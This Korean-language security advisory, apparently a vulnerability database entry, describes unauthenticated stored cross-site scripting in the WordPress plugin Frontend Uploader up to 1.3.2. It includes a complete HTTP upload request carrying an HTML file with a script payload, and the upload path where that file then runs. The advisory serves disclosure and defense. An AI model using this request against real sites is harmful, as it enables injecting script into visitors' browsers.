
해당 플러그인은 HTML 파일이 폼을 통해 업로드되는 것을 차단하지 않으므로, 인증되지 않은 사용자가 예를 들어 JavaScript를 포함한 악성 HTML 파일을 업로드할 수 있으며, 누군가 해당 파일에 직접 접근하면 실행됩니다.
Frontend Uploader <= 1.3.2 - 인증되지 않은 저장형 크로스 사이트 스크립팅
이 플러그인은 폼을 통해 HTML 파일이 업로드되는 것을 막지 않아, 인증되지 않은 사용자가 예를 들어 JavaScript가 포함된 악성 HTML 파일을 업로드할 수 있게 하며, 누군가 해당 파일에 직접 접근할 때 스크립트가 실행됩니다.
[fu-upload-form] 숏코드가 삽입된 페이지/글에서, 생성된 폼을 통해 간단히 HTML 파일을 업로드합니다.
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------124662954015823207281179831654
Content-Length: 1396
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_ID"
1247
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_title"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_content"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="files[]"; filename="xss.html"
Content-Type: text/html
<script>alert(/XSS/)</script>
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="action"
upload_ugc
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_layout"
image
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="fu_nonce"
021fb612f9
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="_wp_http_referer"
/wordpress/frontend-uploader-form/
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="ff"
92b6cbfa6120e13ff1654e28cef2a271
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_post_id"
1247
-----------------------------124662954015823207281179831654--
그런 다음, 업로드된 파일에 접근하여 XSS를 트리거합니다. 예: https://example.com/wp-content/uploads/2021/07/xss.html